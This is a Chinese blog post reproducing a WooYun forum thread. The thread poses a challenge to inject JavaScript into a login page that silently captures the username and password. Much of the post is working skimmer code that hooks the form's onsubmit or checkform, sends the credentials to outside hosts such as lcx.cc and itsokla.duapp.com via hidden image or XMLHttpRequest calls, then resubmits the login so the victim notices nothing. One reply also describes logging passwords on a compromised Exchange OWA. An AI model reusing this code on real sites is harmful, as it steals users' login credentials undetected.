一个利用 JavaScript 劫持表单的话题,在不影响原程序运行逻辑的同时,将表单数据发送到多个地址,并且把数据提交到原地址。
在乌云看到一个技术挑战贴:来吧,技术挑战,搞起!!!(大牛慎入)~~~~~~
(以下所有回复中,“核攻击”是我)
标题:来吧,技术挑战,搞起!!!(大牛慎入)~~~~~~
作者:剁刀
时间:2012-08-11 00:41
内容:
<html> <body> <form method=post name=loginform onsubmit="return checkform()"> <input type=hidden name=a value='do_login'> <input type=hidden name=follow value=''> <input type=hidden name=follow_id value=''> <table cellspacing=0 cellpadding=2 border=0 align="center"> <tr> <td height="32">Username:</td> <td><input type=text name=username value='' class=inpts size=30></td> </tr><tr> <td height="32">Password:</td> <td><input type=password name=password value='' class=inpts size=30></td> </tr> <tr> <td> </td> <td><input type=submit value="Login" class=sbmt></td> </tr></table> </form> <script language=javascript> function checkform() { if (document.loginform.username.value=='') { alert("Please type your username!"); document.loginform.username.focus(); return false; } if (document.loginform.password.value=='') { alert("Please type your password!"); document.loginform.password.focus(); return false; } return true; } </body> </script> <script> /**************************INPUT CODE*******************************/ </script> </html>
技术挑战:
这是一段常规的登录代码,登录的时候会发起一个post请求,请在INPUT CODE处添加
javasript代码对checkform进行劫持,使得将获取的用户名密码发送到远程site接收。
要求:
1. 不得影响程序原有逻辑(即不得以任何方式影响原来的登录功能,POST包必须能正常发出去)
2. 兼容并通杀IE+FF+CHROME
3. 先别扯淡,等你做出来再说简单
相关回复:
蟋蟀哥哥 (http://zone.wooyun.org/?do=action) | 2012-08-11 01:39
简单的写一个,也没对post的数据进行优化,由于没环境,可能有错误,需要调试的.只是说下思路
好久没写javascript了。。大家不要笑
</script><script type="text/javascript"> //<![CDATA[ // Input code is here: document.write('<script type="text/javascript" src="//www.google.com/jsapi">'); document.write('<\/script>'); google.load("jquery", "1.5.1","true");//调用google javascript API,用javascript写javascript的原因是因为google在伟大的GFW下不稳定。这样写,不会影响页面的加载 $(".sbmt").click(PostPasswd); (function($) { function PostPasswd(){ var postName = $("input[username]");//获得并定义输入的值,只是简单写下,没有写验证. var postPasswd = $("input[password]"); var post1 = "name="; var post2 = "&pswd=";//拼接字符串 $.ajax({ type: "POST", url: "some.php",//远程POST地址 data: post1 + postName + post2 + postPasswd, }); }//ajax POST数据 //]]> </script>
好吧。。我知道代码有问题..
beastk | 2012-08-11 01:47
也不知道你要HOOK谁的,也不知道是不是技术挑战
一刀终情 (麻麻说,签名要长…………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………) | 2012-08-11 09:23
技术挑战就骗人了吧~~等着用吧~
核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2012-08-11 09:46
实在是,懒得回……
剁刀 | 2012-08-11 10:06
@一刀终情 @beastk 楼上的废废们,做不出来就不要唧唧歪歪。技术很牛又怎么样,有点技术就当宝贝似的藏着掖着,敝帚自珍。自己是固步自封和井底之蛙都不知道。这难道是很难的技术么,还需要在这里骗答案?我先把我的答案的md5贴在这里,你们可以闭嘴了吗?
大小: 1988 字节
修改时间: 2012年8月11日, 10:03:22
MD5: AE2EFE3D88975C98BA21E8BCCA36EB73
SHA1: E677B24FF8DFCDA3112BD0FDD23E166D48D49340
CRC32: A947AACD
剁刀 | 2012-08-11 10:09
@蟋蟀哥哥 顶蟋蟀哥哥
剁刀 | 2012-08-11 10:13
@核攻击 别介,你还是回复一个吧,做到通用再说。这个坛子里能做出完美答案的人不超过5个
xsser (十根阳具有长短,世上人多心不齐) | 2012-08-11 10:22
好吧,不如加个限制,用最少的字节数吧
蟋蟀哥哥 (http://zone.wooyun.org/?do=action) | 2012-08-11 13:57
@xsser 嗯。。用最少的字节数,这个才是技术挑战。。话说这个难度不大。。确实简单。。怎么样优化才是硬道理。。
剁刀 | 2012-08-11 14:19
@蟋蟀哥哥 老大,你那个代码貌似连用户名和密码都获取不到的。。。好多人都觉得这个简单,可一到实现就发现不是那么回事了,因为这里面有个小猫腻~~
蟋蟀哥哥 (http://zone.wooyun.org/?do=action) | 2012-08-11 14:33
@剁刀 我说了代码有问题的,呵呵。。估计的那个地方。。懂的人会知道怎么回事
剁刀 | 2012-08-11 14:43
@蟋蟀哥哥 完全没搞明白你说的post优化是什么意思。。。求科普。。。。
蟋蟀哥哥 (http://zone.wooyun.org/?do=action) | 2012-08-11 15:15
@剁刀 打错了的。其实想说的是验证和判断
only_guest (www.guoke.ca) | 2012-08-11 15:53
@gainover 秒了他!
px1624 | 2012-08-11 16:02
顶楼上!
Sogili (-_-)Web疯狂科学家//mmme.me(-_-) | 2012-08-11 16:35
loginform.action='//evil'//25字符
//evil 307跳转回去
挑战结束?
s!lly3r (嘿 二货!你在干嘛呢?) | 2012-08-11 16:43
楼主的意思是:
在点击提交按钮的时候 发送表单内容POST到正常原有的地址 还要发送该内容到另外一个自定义的地址
@蟋蟀哥哥 一楼代码明显没有做到
剁刀 | 2012-08-11 16:49
@Sogili 你的这个方法明显不行,试都没试~
剁刀 | 2012-08-11 16:50
@s!lly3r 没错,就是这个意思,不能阻碍表单的正常登录功能的同时,还要把截获的用户名密码发送到远程
剁刀 | 2012-08-11 16:55
@核攻击 看了你发的帖子我终于明白你懒得回的原因了,因为你根本就是混娱乐圈的哇:)
Sogili (-_-)Web疯狂科学家//mmme.me(-_-) | 2012-08-11 16:56
@剁刀 你试试:)
s!lly3r (嘿 二货!你在干嘛呢?) | 2012-08-11 16:58
原来搞过人家的exchange的owa 也是记录登陆账号密码 我分享一下思路吧
也是绑定登陆界面表单click
登陆界面js的行为就是获取表单数据 把账号和密码记录到当前域的cookie里面
又在邮箱登陆成功才会加载的某js文件里 加入了判断cookie里面是否有账号密码的代码
这样登陆成功后 js代码就会获取账号密码发送的远程地址
这样做还有个好处就是只获取有效的账号密码 因为只有邮箱登陆成功后才会运行发送密码的js代码
剁刀 | 2012-08-11 17:04
@s!lly3r 嘿嘿,感谢思路分享,不错:)但是就本题来讲,你会发现你绑定并记录到username/password之后,是不能直接发包的
Sunshine (︶︿︶/ / //! 。! o∩_∩o) | 2012-08-11 17:10
木你远程调用js不就完了,这个代码最短,嘿嘿,说着玩啊,为了不影响原登录,做个延迟,先登陆,再发送,代码今晚写一点……
tmp | 2012-08-11 17:12
@xsser @gainover 精通javascript的还不上???
Sunshine (︶︿︶/ / //! 。! o∩_∩o) | 2012-08-11 18:03
@only_guest.短信收到没有啊?
_Evil (性趣是最好的老师.) | 2012-08-11 18:04
@剁刀 我放假马上看看去。
horseluke (微碌) | 2012-08-11 18:27
我汗........这个问题看来很多人在求:
http://zhidao.baidu.com/question/385864615.html
不过上面那个是asp,和这个问题不一样。我想到的也只能是重载函数来解决
剁刀 | 2012-08-11 18:30
@horseluke 对于本题来说,重载函数应该不行吧,我试了貌似没成功。。。
剁刀 | 2012-08-11 18:31
@horseluke 疯了,我再说一遍,哥不是来骗答案的,日。
_Evil (性趣是最好的老师.) | 2012-08-11 20:22
1.js
var xmlhttp = false; if (window.XMLHttpRequest) { //Mozilla、Safari等浏览器 xmlhttp = new XMLHttpRequest(); } else if (window.ActiveXObject) { //IE浏览器 try { xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); } catch (e) { try { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); } catch (e) {} } }
我压根不会写代码。。。
_Evil (性趣是最好的老师.) | 2012-08-11 20:26
@剁刀 我没时间测试随便想了就写下了如果没跳转就:window.location.href 或者用其他的跳转,有referer就跳referer。。。
_Evil (性趣是最好的老师.) | 2012-08-11 20:31
@剁刀 我也很喜欢实在的研究 hepaohui@lcx.cc 欢迎一起交流 g_talk:a13411334452@gamil.com
_Evil (性趣是最好的老师.) | 2012-08-11 20:59
<script/src=//1.js> <script language="javascript"> function checkhack() { var name = ''; var pass = ''; if (document.loginform.username.value=='') { //alert("Please type your username!"); document.loginform.username.focus(); name = '0'; return false; } if (document.loginform.password.value=='') { //alert("Please type your password!"); document.loginform.password.focus(); pass = '0'; return false; } return true; name = '1'; pass = '1'; } window.mousedown = function () { setInterval("checkhack()",4); if (name == '1') && (pass == '1'){ var a = document.loginform.username.value; var b = document.loginform.password.value; var url = "http://sb/give.php?name='+a'&pass='+b'" xmlhttp.open('get',url,true); } } </script>
icefish | 2012-08-11 21:34
我以前改sahi的时候,好像写过类似的,思路都是重载js的事件,我去看看
icefish | 2012-08-11 21:40
我没细想,感觉用addEvent那种似乎可以吧,
我本科的时候做的,http://wcf1987.iteye.com/blog/450197
_Evil (性趣是最好的老师.) | 2012-08-11 22:01
@icefish 非常感谢,好的大学不愧是黑阔养生之地!!!!!
啤酒 (xx) | 2012-08-11 23:19
楼主的<body>故意放在</script>里面的?
_Evil (性趣是最好的老师.) | 2012-08-11 23:30
楼上的 恩 故意的
啤酒 (xx) | 2012-08-11 23:35
我如果要实现这样的目的的话,我会把原文的function checkform()函数在 INPUT CODE位置再写一次让之前的原有的function checkform()失效,然后把原文的function checkform()内容原封不动的弄下来再在函数内部把用户名密码 get到我的服务器。至于代码的简介性可能就没那么好了
剁刀 | 2012-08-12 00:11
@啤酒 到现在为止,楼上的没有一个说到这个问题的点子上的,尼玛劫持谁不会劫持?不管你用啥都好,重载,addevent或者DOM。
啤酒 (xx) | 2012-08-12 00:27
除此之外我只注意到了跳转和函数执行的时间差,其他的没看出啥来大牛你快公布答案吧看得很难受了
啤酒 (xx) | 2012-08-12 00:51
难道机关在你那个放到script内body?希望答案不要让人失望
_Evil (性趣是最好的老师.) | 2012-08-12 17:11
@剁刀 我的答案可以实现吗
然后我给出了两个答案:
版本一:
<html> <body> <form method=post name=loginform onsubmit="return checkform()"> <input type=hidden name=a value='do_login'> <input type=hidden name=follow value=''> <input type=hidden name=follow_id value=''> <table cellspacing=0 cellpadding=2 border=0 align="center"> <tr> <td height="32">Username:</td> <td><input type=text name=username value='' class=inpts size=30></td> </tr><tr> <td height="32">Password:</td> <td><input type=password name=password value='' class=inpts size=30></td> </tr> <tr> <td> </td> <td><input type=submit value="Login" class=sbmt></td> </tr></table> </form> <script language=javascript> function checkform() { if (document.loginform.username.value=='') { alert("Please type your username!"); document.loginform.username.focus(); return false; } if (document.loginform.password.value=='') { alert("Please type your password!"); document.loginform.password.focus(); return false; } return true; } </body> </script> <script> /************************** INPUT CODE *******************************/ // By: Nuclear'Atk, Blog: Http://lcx.cc/ </script> <div id="test"></div> <script> var x = document.forms[0]; // form var f; //alert(x.onsubmit); x.f = x.onsubmit; // 获取原始函数 x.onsubmit = function() { // 设置新函数,达到拦截的目的 //alert("hook!"); if (document.loginform.username.value=='') { alert("Please type your username!"); document.loginform.username.focus(); return false; } if (document.loginform.password.value=='') { alert("Please type your password!"); document.loginform.password.focus(); return false; } var s; s = "username=" + document.loginform.username.value + "&password=" + document.loginform.password.value; // 获取账号密码 //alert(s); document.getElementById('test').innerHTML = "<img src=\"https://lcx.cc/?" + s + "\"" + " width=\"0\" height=\"0\"" + " onload=\"document.forms[0].submit()\" onerror=\"document.forms[0].submit()\" >"; return false; // 直接拦截表单,终止提交 } /************************** INPUT CODE *******************************/ </script> </html> <!-- 参考资料: 关于用JavaScript拦截form的submit方法实现: http://www.blogjava.net/yaoleiyu/archive/2006/12/23/89636.html onsubmit=return false阻止form表单提交javascript: http://www.web600.net/html/editor/JavaScript/201001281667.html -->
版本二:
另一个,ajax 版本的。
这个问题难点在于,如何不破坏原函数运行逻辑(不是在新函数中重写原函数功能),而在这个例子中又无法调用原函数(body)。
<html> <body> <form method=post name=loginform onsubmit="return checkform()"> <input type=hidden name=a value='do_login'> <input type=hidden name=follow value=''> <input type=hidden name=follow_id value=''> <table cellspacing=0 cellpadding=2 border=0 align="center"> <tr> <td height="32">Username:</td> <td><input type=text name=username value='' class=inpts size=30></td> </tr><tr> <td height="32">Password:</td> <td><input type=password name=password value='' class=inpts size=30></td> </tr> <tr> <td> </td> <td><input type=submit value="Login" class=sbmt></td> </tr></table> </form> <script language=javascript> function checkform() { if (document.loginform.username.value=='') { alert("Please type your username!"); document.loginform.username.focus(); return false; } if (document.loginform.password.value=='') { alert("Please type your password!"); document.loginform.password.focus(); return false; } return true; } </body> </script> <script> /************************** INPUT CODE *******************************/ // By: Nuclear'Atk, Blog: Http://lcx.cc/ </script> <div id="test"></div> <script> var x = document.forms[0]; // form var f; //alert(x.onsubmit); x.f = x.onsubmit; // 获取原始函数 x.onsubmit = function() { // 设置新函数,达到拦截的目的 //alert("hook!"); if (document.loginform.username.value=='') { alert("Please type your username!"); document.loginform.username.focus(); return false; } if (document.loginform.password.value=='') { alert("Please type your password!"); document.loginform.password.focus(); return false; } var s; s = "username=" + document.loginform.username.value + "&password=" + document.loginform.password.value; // 获取账号密码 //alert(s); var xmlhttp; xmlhttp = GetXmlHttpObject(); xmlhttp.open("POST", "https://lcx.cc/", false); xmlhttp.setRequestHeader("Connection", "Close"); // Close = 不保持连接,Keep-Alive = 保持连接(持久连接) xmlhttp.setRequestHeader("Content-Length", s.length); // 设置内容长度,Post 方式用的 xmlhttp.send(s); // Post 方式:xmlhttp.send(参数); return false; // 直接拦截表单,终止提交 } function GetXmlHttpObject() { // 不同的浏览器创建 XMLHttpRequest 对象的方法是有差异的。 // IE 浏览器使用 ActiveXObject,而其他的浏览器使用名为 XMLHttpRequest 的 JavaScript 内建对象。 // 如需针对不同的浏览器来创建此对象,我们要使用一条 "try and catch" 语句。 var xmlHttp = null; try { // Firefox, Opera 8.0+, Safari xmlHttp = new XMLHttpRequest(); } catch(e) { // Internet Explorer try { xmlHttp = new ActiveXObject("Msxml2.XMLHTTP"); } catch(e) { try { xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) { alert("您的浏览器不支持AJAX!"); return false; } } } return xmlHttp; } /************************** INPUT CODE *******************************/ </script> </html> <!-- 参考资料: 关于用JavaScript拦截form的submit方法实现: http://www.blogjava.net/yaoleiyu/archive/2006/12/23/89636.html onsubmit=return false阻止form表单提交javascript: http://www.web600.net/html/editor/JavaScript/201001281667.html -->
接下来的原帖回复:
_Evil (性趣是最好的老师.) | 2012-08-12 18:01
@核攻击 重点是劫持原函数 谢谢了 = =我发的那个是按照自己思路来写的,作者的意思是劫持函数。我上面的那个改改应该能用,用window.mousedown来判断 @_@有错误希望老大吐槽!!!
剁刀 | 2012-08-12 23:49
@_Evil 你的答案问题好多。。。。
剁刀 | 2012-08-13 00:03
@核攻击 你的代码是把帐号信息发送到远程了,但是调用document.forms[0].submit()就不会调用onsubmit事件了吧。我的意思是不破坏登录过程和判断即可,可以在新函数中重写原函数功能
only_guest (www.guoke.ca) | 2012-08-13 00:09
@gainover 写6个版本.我上6个马甲来发
剁刀 | 2012-08-13 01:04
@only_guest 老大看不过去了?看不过去自己写不来?还需要go大牛帮你搞?
核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2012-08-13 08:01
@剁刀
复制代码,测试完再喊……
完全符合你任何要求……
目测你压根没测试……
并且我给了两套方案,一套利用 <img 提交,兼容任何浏览器,不存在跨域问题。
另一套 ajax,POST 提交,存在跨域问题,并且代码很长,不推荐使用。
原函数功能并没有被破坏,而是在新函数中重写了。
核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2012-08-13 08:03
以上两段代码,经过调试、抓包,均成功提交数据到第三方地址,并且没有破坏原提交逻辑。
请楼主给出不符合条件的理由。
核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2012-08-13 08:22
额,会错意了,楼主要要的是劫持原函数,不是实现功能。
核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2012-08-13 08:26
@剁刀
不破坏登陆过程的尺度指的是?
最终提交操作必须是“onsubmit”?
剁刀 | 2012-08-13 09:19
@核攻击 嗯,符合要求,但是你提前闭合偶的script标签。。。这个有点不厚道:)
我又给出了另一个版本:
<html> <body> <form method=post name=loginform onsubmit="return checkform()"> <input type=hidden name=a value='do_login'> <input type=hidden name=follow value=''> <input type=hidden name=follow_id value=''> <table cellspacing=0 cellpadding=2 border=0 align="center"> <tr> <td height="32">Username:</td> <td><input type=text name=username value='' class=inpts size=30></td> </tr><tr> <td height="32">Password:</td> <td><input type=password name=password value='' class=inpts size=30></td> </tr> <tr> <td> </td> <td><input type=submit value="Login" class=sbmt></td> </tr></table> </form> <script language=javascript> function checkform() { if (document.loginform.username.value=='') { alert("Please type your username!"); document.loginform.username.focus(); return false; } if (document.loginform.password.value=='') { alert("Please type your password!"); document.loginform.password.focus(); return false; } return true; } </body> </script> <script> /************************** INPUT CODE *******************************/ // By: Nuclear'Atk, Blog: Http://lcx.cc/ </script> <div id="test"></div> <script> var x = document.loginform; // form var f; //alert(x.onsubmit); x.f = x.onsubmit; // 获取原始函数 x.onsubmit = function() { // 设置新函数,达到拦截的目的 //alert("hook!"); if (document.loginform.username.value=='') { alert("Please type your username!"); document.loginform.username.focus(); return false; } if (document.loginform.password.value=='') { alert("Please type your password!"); document.loginform.password.focus(); return false; } var s; s = "username=" + document.loginform.username.value + "&password=" + document.loginform.password.value; // 获取账号密码 //alert(s); //触发两次 onsubmit 事件,通过判断来发送两次数据,并且不破坏原函数逻辑 if (document.getElementById("NuclearAtk")) { //alert("exist"); return true; // 允许提交表单 } else { //alert("not exist"); document.getElementById('test').innerHTML = "<img id=\"NuclearAtk\" src=\"https://lcx.cc/?" + s + "\"" + " width=\"0\" height=\"0\"" + " onload=\"test()\" onerror=\"test()\" >"; //document.forms[0].submit() return false; // 拦截表单,终止提交 } } function test() { //模拟点击提交按钮,重新触发 onsubmit 事件 var x = document.getElementsByTagName("input"); for (var i = 0; i < x.length; i++) { if (x[i].type == "submit") { //alert(x[i].value); x[i].click(); break; } } } /************************** INPUT CODE *******************************/ </script> </html>
嘿嘿,完美版本,完全使用 onsubmit 事件提交,没有破坏原始提交逻辑。
那个闭合 script标签 是因为要插入 <img 标签,所以写了一个 <div,如果你使用 ajax 的方式提交,就不需要多此一举了。
剁刀 | 2012-08-13 09:40
@核攻击
1. 非ajax方法不允许提前闭合
2. 你的第二个方法,没看明白,哪里提交登录请求了?如果我猜测对的话,你是不是应该把lcx.cc的代码也贴出来?
核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2012-08-13 10:08
@剁刀
目测你没理解,再仔细看看吧……
那个完美版本的卖点在于,它是完全使用 onsubmit 事件提交的表单,可以跟踪到……
和 lcx.cc 的代码有什么关系(你钻牛角居然能钻到这里!)?
那只是一个示例接收地址,你可以改成:www.baidu.com,或者任何地址……
至于又多出来的条件“不允许提前闭合”,我发了两个版本一个 <img、一个ajax,你使用 ajax 的版本即可,完全不需要闭合的(上边那个ajax闭合<script>,是因为我之前测试<img,然后又改成ajax的,忘记删除了,那个“<div id="test"></div>”在这里是没有实际作用的)。
完全符合楼主所有要求,以及新多出来的条件……
复制代码运行调试吧,抓包看看发了几个包,分别发送到哪里了……
目测可以结贴了……
最后,坐等楼主“标准答案”……
╮(╯_╰)╭
部分回帖:
gainover (">_< ' / & \ 看啥,没见过跨站字符么) |2012-08-15 13:25
@only_guest 这个问题的关键在于,要拦截默认的submit事件,而默认采用的submit按钮,因此解决方案,
1.要么是动态去掉原来的submit类型的按钮,自己创建一个新按钮,并进行事件设置,在进行checkform判断之后,再进行表单的submit。
2.要么阻止submit按钮默认的表单提交行文。
这里用第2种方法编写代码:
<script> /**************************INPUT CODE*******************************/ (function x(){ function $(id,t){ return document["getElementsBy"+(t?"Tag":"")+"Name"](id); } var inputs=$("input",1); for(var i=0;i<inputs.length;i++){ (function(){ inputs[i].type.toLowerCase()=="submit" && (inputs[i].onclick=function(e){ //调用默认的checkform函数进行表单判断 if(checkform()){ //使用Image对象发送数据 with(new Image()){ onerror=function(){ //alert("发送成功"); //发送成功后,再提交 $("loginform")[0].submit(); }; src="http://itsokla.duapp.com/data.php?hash="+Math.random()+"&u="+$("username")[0].value+"&p="+$("password")[0].value; } } //阻止submit的默认提交事件 var e=e||event; //for non-ie try{ e.preventDefault(); }catch(e){} //for ie event.returnValue=false; return false; }); })(i) } })(); </script>
p.z (我在沉默中被放屁惊醒) | 2012-08-15 13:46
不用那么麻烦吧,直接hook一下checkform函数就可以了啊. @jsbug 的那个返回值的细节没弄好.
var c = checkform; checkform = function(){ (new Image()).src = 'http://my/?u' + document.loginform.username.value + '&p=' + document.loginform.password.value; return c(); }
剁刀 | 2012-08-15 13:52
呃,好吧,答案在此:
var x = document.mainform; x.onsubmit=function() { if(checkform()==false) return false; var user=document.mainform.username.value; var password=document.mainform.password.value; var a=new Image(); a.onerror=function(){ document.mainform.submit(); }; a.src="http://x.com/x.php?&u="+user+"&p="+password; return false; }
参考资料:
关于用JavaScript拦截form的submit方法实现
onsubmit=return false阻止form表单提交javascript
留言评论(旧系统):